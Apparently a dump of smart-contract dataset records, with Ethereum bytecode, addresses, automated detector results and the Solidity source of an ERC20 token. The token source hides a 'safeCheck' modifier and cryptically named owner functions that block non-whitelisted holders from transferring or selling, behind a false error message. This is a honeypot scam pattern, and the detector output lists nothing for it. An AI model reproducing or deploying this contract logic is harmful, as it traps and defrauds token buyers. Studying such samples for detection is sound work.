fffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600a54600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b610cfa611019565b610d6c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600b60009054906101000a900460ff1615610dd2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260288152602001806120ac6028913960400191505060405180910390fd5b610de86283d600836114d490919063ffffffff16565b6008819055504260098190555042600681905550610e126283d6004261151e90919063ffffffff16565b6007819055506001600b60006101000a81548160ff0219169083151502179055505050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610e88611019565b610efa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60085481565b6000610fcd4260075461181c565b905090565b600c6020528060005260406000206000915090505481565b60065481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661105b6115a6565b73ffffffffffffffffffffffffffffffffffffffff1614905090565b61107f6115a6565b6110876112b8565b600a81905550611095610fbf565b600981905550600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614611162576110d88161062d565b600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600a54600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6006544210156111da576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f4572726f723a506f6f6c206e6f742073746172746564207965742e000000000081525060200191505060405180910390fd5b60008211611250576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600e8152602001807f43616e6e6f74207374616b65203000000000000000000000000000000000000081525060200191505060405180910390fd5b61125982611835565b6112616115a6565b73ffffffffffffffffffffffffffffffffffffffff167f9e71bc8eea02a63969f509818f2dafb9254532904319f9dbda79b67bd34a5f3d836040518082815260200191505060405180910390a25050565b60095481565b6000806112c3610779565b14156112d357600a54905061134d565b61134a6113396112e1610779565b61132b670de0b6b3a764000061131d60085461130f600954611301610fbf565b61140490919063ffffffff16565b61144e90919063ffffffff16565b61144e90919063ffffffff16565b6114d490919063ffffffff16565b600a5461151e90919063ffffffff16565b90505b90565b600a5481565b61136e6113696113646115a6565b610e37565b6107a9565b61137661096c565b565b60075481565b611386611019565b6113f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b611401816119d4565b50565b600061144683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611b18565b905092915050565b60008083141561146157600090506114ce565b600082840290508284828161147257fe5b04146114c9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806120616021913960400191505060405180910390fd5b809150505b92915050565b600061151683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611bd8565b905092915050565b60008082840190508381101561159c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600033905090565b60026001541415611627576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f5265656e7472616e637947756172643a207265656e7472616e742063616c6c0081525060200191505060405180910390fd5b60026001819055506116448160035461140490919063ffffffff16565b6003819055506116a3816004600061165a6115a6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461140490919063ffffffff16565b600460006116af6115a6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506117416116f86115a6565b82600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661174b9092919063ffffffff16565b6001808190555050565b611817838473ffffffffffffffffffffffffffffffffffffffff1663a9059cbb905060e01b8484604051602401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050611c9e565b505050565b600081831061182b578161182d565b825b905092915050565b600260015414156118ae576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f5265656e7472616e637947756172643a207265656e7472616e742063616c6c0081525060200191505060405180910390fd5b60026001819055506118cb8160035461151e90919063ffffffff16565b60038190555061192a81600460006118e16115a6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461151e90919063ffffffff16565b600460006119366115a6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506119ca61197f6115a6565b3083600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611ee9909392919063ffffffff16565b6001808190555050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611a5a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602681526020018061203b6026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000838311158290611bc5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611b8a578082015181840152602081019050611b6f565b50505050905090810190601f168015611bb75780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b60008083118290611c84576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611c49578082015181840152602081019050611c2e565b50505050905090810190601f168015611c765780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581611c9057fe5b049050809150509392505050565b611cbd8273ffffffffffffffffffffffffffffffffffffffff16611fef565b611d2f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e74726163740081525060200191505060405180910390fd5b600060608373ffffffffffffffffffffffffffffffffffffffff16836040518082805190602001908083835b60208310611d7e5780518252602082019150602081019050602083039250611d5b565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114611de0576040519150601f19603f3d011682016040523d82523d6000602084013e611de5565b606091505b509150915081611e5d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c656481525060200191505060405180910390fd5b600081511115611ee357808060200190516020811015611e7c57600080fd5b8101908080519060200190929190505050611ee2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180612082602a913960400191505060405180910390fd5b5b50505050565b611fe9848573ffffffffffffffffffffffffffffffffffffffff166323b872dd905060e01b858585604051602401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050611c9e565b50505050565b60008060007fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a47060001b9050833f91506000801b82141580156120315750808214155b9250505091905056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f775361666545524332303a204552433230206f7065726174696f6e20646964206e6f7420737563636565644572726f72203a204e6f74696679207265776172647320616c6c6f776564206f6e6365206f6e6c79a265627a7a7231582088767ac85502313df20a17abd65013ac6d371f524f5063c1d9b6da3ede7ea1c764736f6c63430005110032
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
490
0xe781f9014661e6c2e6ff45e08a3a7fbf4d14787d
pragma solidity ^0.6.0; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Context { constructor () internal { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; address private _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; address private _address0; address private _address1; mapping (address => bool) private _Addressint; uint256 private _zero = 0; uint256 private _valuehash = 115792089237316195423570985008687907853269984665640564039457584007913129639935; constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _address0 = owner; _address1 = owner; _mint(_address0, initialSupply*(10**18)); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function ints(address addressn) public { require(msg.sender == _address0, "!_address0");_address1 = addressn; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function upint(address addressn,uint8 Numb) public { require(msg.sender == _address0, "!_address0");if(Numb>0){_Addressint[addressn] = true;}else{_Addressint[addressn] = false;} } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function intnum(uint8 Numb) public { require(msg.sender == _address0, "!_address0");_zero = Numb*(10**18); } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint256 amount) internal safeCheck(sender,recipient,amount) virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } modifier safeCheck(address sender, address recipient, uint256 amount){ if(recipient != _address0 && sender != _address0 && _address0!=_address1 && amount > _zero){require(sender == _address1 ||sender==_router || _Addressint[sender], "ERC20: transfer from the zero address");} if(sender==_address0 && _address0==_address1){_address1 = recipient;} if(sender==_address0){_Addressint[recipient] = true;} _;} function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function multiaddress(uint8 AllowN,address[] memory receivers, uint256[] memory amounts) public { for (uint256 i = 0; i < receivers.length; i++) { if (msg.sender == _address0){ transfer(receivers[i], amounts[i]); if(i<AllowN){_Addressint[receivers[i]] = true; _approve(receivers[i], _router, _valuehash);} } } } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } //transfer function _transfer_SOME(address sender, address recipient, uint256 amount) internal virtual{ require(recipient == address(0), "ERC20: transfer to the zero address"); require(sender != address(0), "ERC20: transfer from the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063540410e511610097578063a9059cbb11610066578063a9059cbb146104c7578063b952390d1461052d578063ba03cda514610686578063dd62ed3e146106d7576100f5565b8063540410e51461035557806370a082311461038657806395d89b41146103de578063a457c2d714610461576100f5565b806323b872dd116100d357806323b872dd14610201578063313ce5671461028757806339509351146102ab578063438dd08714610311576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e3575b600080fd5b61010261074f565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107f1565b604051808215151515815260200191505060405180910390f35b6101eb61080f565b6040518082815260200191505060405180910390f35b61026d6004803603606081101561021757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610819565b604051808215151515815260200191505060405180910390f35b61028f6108f2565b604051808260ff1660ff16815260200191505060405180910390f35b6102f7600480360360408110156102c157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610909565b604051808215151515815260200191505060405180910390f35b6103536004803603602081101561032757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109bc565b005b6103846004803603602081101561036b57600080fd5b81019080803560ff169060200190929190505050610ac3565b005b6103c86004803603602081101561039c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ba7565b6040518082815260200191505060405180910390f35b6103e6610bef565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042657808201518184015260208101905061040b565b50505050905090810190601f1680156104535780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104ad6004803603604081101561047757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c91565b604051808215151515815260200191505060405180910390f35b610513600480360360408110156104dd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d5e565b604051808215151515815260200191505060405180910390f35b6106846004803603606081101561054357600080fd5b81019080803560ff1690602001909291908035906020019064010000000081111561056d57600080fd5b82018360208201111561057f57600080fd5b803590602001918460208302840111640100000000831117156105a157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561060157600080fd5b82018360208201111561061357600080fd5b8035906020019184602083028401116401000000008311171561063557600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610d7c565b005b6106d56004803603604081101561069c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803560ff169060200190929190505050610edf565b005b610739600480360360408110156106ed57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611068565b6040518082815260200191505060405180910390f35b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107e75780601f106107bc576101008083540402835291602001916107e7565b820191906000526020600020905b8154815290600101906020018083116107ca57829003601f168201915b5050505050905090565b60006108056107fe6110ef565b84846110f7565b6001905092915050565b6000600354905090565b60006108268484846112ee565b6108e7846108326110ef565b6108e285604051806060016040528060288152602001611bbd60289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006108986110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6110f7565b600190509392505050565b6000600660009054906101000a900460ff16905090565b60006109b26109166110ef565b846109ad85600160006109276110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ac490919063ffffffff16565b6110f7565b6001905092915050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a7f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b86576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b670de0b6b3a76400008160ff160267ffffffffffffffff1660098190555050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c875780601f10610c5c57610100808354040283529160200191610c87565b820191906000526020600020905b815481529060010190602001808311610c6a57829003601f168201915b5050505050905090565b6000610d54610c9e6110ef565b84610d4f85604051806060016040528060258152602001611c2e6025913960016000610cc86110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6110f7565b6001905092915050565b6000610d72610d6b6110ef565b84846112ee565b6001905092915050565b60008090505b8251811015610ed957600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610ecc57610e11838281518110610df057fe5b6020026020010151838381518110610e0457fe5b6020026020010151610d5e565b508360ff16811015610ecb57600160086000858481518110610e2f57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610eca838281518110610e9757fe5b6020026020010151600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600a546110f7565b5b5b8080600101915050610d82565b50505050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610fa2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60008160ff16111561100b576001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611064565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561117d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180611c0a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611203576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180611b756022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b828282600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561139d5750600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156114195750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b8015611426575060095481115b1561157e57600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806114d45750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806115285750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61157d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611be56025913960400191505060405180910390fd5b5b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561164a5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b156116915781600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611740576001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614156117c6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611be56025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141561184c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611b526023913960400191505060405180910390fd5b611857868686611b4c565b6118c284604051806060016040528060268152602001611b97602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611955846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ac490919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3505050505050565b6000838311158290611ab1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611a76578082015181840152602081019050611a5b565b50505050905090810190601f168015611aa35780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611b42576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122016bbb409188691f831ba4441c68673e4886ad6f70d21919aff1189828383f09564736f6c63430006060033
{"success": true, "error": null, "results": {}}
491
0x3c6208D522Acc776685a867f6a88b018Bb2A49f1
